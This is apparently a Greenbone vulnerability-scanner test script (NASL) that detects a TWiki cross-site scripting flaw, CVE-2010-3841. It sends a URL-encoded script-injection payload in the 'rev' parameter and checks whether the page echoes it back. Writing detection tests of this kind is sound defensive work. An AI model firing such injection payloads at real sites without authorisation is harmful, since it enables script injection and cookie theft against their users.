TWiki Multiple Cross Site Scripting Vulnerabilities

# SPDX-FileCopyrightText: 2010 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:twiki:twiki";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.100857");
  script_version("2023-07-28T16:09:07+0000");
  script_tag(name:"last_modification", value:"2023-07-28 16:09:07 +0000 (Fri, 28 Jul 2023)");
  script_tag(name:"creation_date", value:"2010-10-15 13:28:27 +0200 (Fri, 15 Oct 2010)");
  script_tag(name:"cvss_base", value:"4.3");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:N/I:P/A:N");
  script_cve_id("CVE-2010-3841");

  script_name("TWiki Multiple Cross Site Scripting Vulnerabilities");

  script_category(ACT_ATTACK);
  script_family("Web application abuses");
  script_copyright("Copyright (C) 2010 Greenbone AG");
  script_dependencies("gb_twiki_detect.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("twiki/detected");

  script_tag(name:"impact", value:"An attacker may leverage these issues to execute arbitrary script code
  in the browser of an unsuspecting user in the context of the affected site. This may allow the
  attacker to steal cookie-based authentication credentials and to launch other attacks.");

  script_tag(name:"affected", value:"Versions prior to TWiki 5.0.1 are vulnerable.");

  script_tag(name:"solution", value:"Vendor updates are available. Please see the references for more
  information.");

  script_tag(name:"summary", value:"TWiki is prone to multiple cross-site scripting vulnerabilities
  because it fails to sufficiently sanitize user-supplied data.");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/44103");
  script_xref(name:"URL", value:"http://twiki.org/cgi-bin/view/Codev/SecurityAlert-CVE-2010-3841");

  script_tag(name:"solution_type", value:"VendorFix");
  script_tag(name:"qod_type", value:"remote_analysis");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");

if( ! port = get_app_port( cpe:CPE ) ) exit( 0 );
if( ! dir = get_app_location( cpe:CPE, port:port ) ) exit( 0 );

if( dir == "/" ) dir = "";

url = dir + "/view?rev=%27%3E%3Cscript%3Ealert(%27vt-xss-test%27)%3C/script%3E";

if(http_vuln_check(port:port, url:url,pattern:"<script>alert\('vt-xss-test'\)</script>",
                   extra_check:"TWiki",check_header:TRUE)) {
  report = http_report_vuln_url( port:port, url:url );
  security_message(port:port, data:report);
  exit(0);
}

exit(99);